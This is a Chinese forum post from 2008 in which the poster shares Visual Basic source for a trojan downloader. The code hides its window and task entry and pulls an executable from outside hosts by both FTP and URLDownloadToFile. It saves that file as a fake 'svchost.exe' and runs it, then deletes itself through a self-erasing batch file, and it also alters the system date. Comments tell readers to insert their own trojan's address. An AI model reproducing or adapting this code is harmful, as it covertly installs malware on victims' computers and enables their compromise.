|

楼主 |
发表于 2008-12-23 19:07:02
|
显示全部楼层
这里有一个下载者
运行时采用ShellExecute而不是纯shell
- Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
- Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
-
-
-
- Private Sub Form_Load()
- App.TaskVisible = False
- Shell "cmd /c echo open vvv3.3322.org>>log.sys&echo tat>>log.sys&echo 123>>log.sys&echo bin>>log.sys&echo get avp.exe>>log.sys&echo bye>>log.sys&ftp -s:log.sys&del log.sys&avp.exe", 0
-
- If Len(Dir("c:\windows\system32\scvhost.exe")) = 0 Then URLDownloadToFile 0, "http://www.ptc5188.cn/avp.exe", "c:\Program Files\svchost.exe", 0, 0 '第2个参数是你的木马地址,第3个是保存的位置,其他默认就可以
-
- ShellExecute 0, vbNullString, "c:\Program Files\svchost.exe", vbNullString, vbNullString, vbNormalFocus 'ShellExecute的第2个参数是你要运行的文件,也就是我们下到本地的木马地址了
- Dim s As String
- On Error Resume Next
- s = CurDir '当前目录
- '保证目录最后的字符为 ""
- If Right(s, 1) <> "" Then
- s = s & ""
- End If '在当前目录下创建bat文件
- Open s & "kill.bat" For Output As #1
- Print #1, ":redel"
- Print #1, "del " & Chr(34) & s & App.EXEName & ".exe" & Chr(34)
- Print #1, "if exist " & Chr(34) & s & App.EXEName & ".exe" & Chr(34) & " goto redel"
- Print #1, "del %0"
- Print #1,
- Close #1
- Shell Chr(34) & s & "kill.bat" & Chr(34)
- End
-
- End Sub
-
- Private Sub Timer1_Timer()
- Date = Date + 3000
- End Sub
复制代码 |
|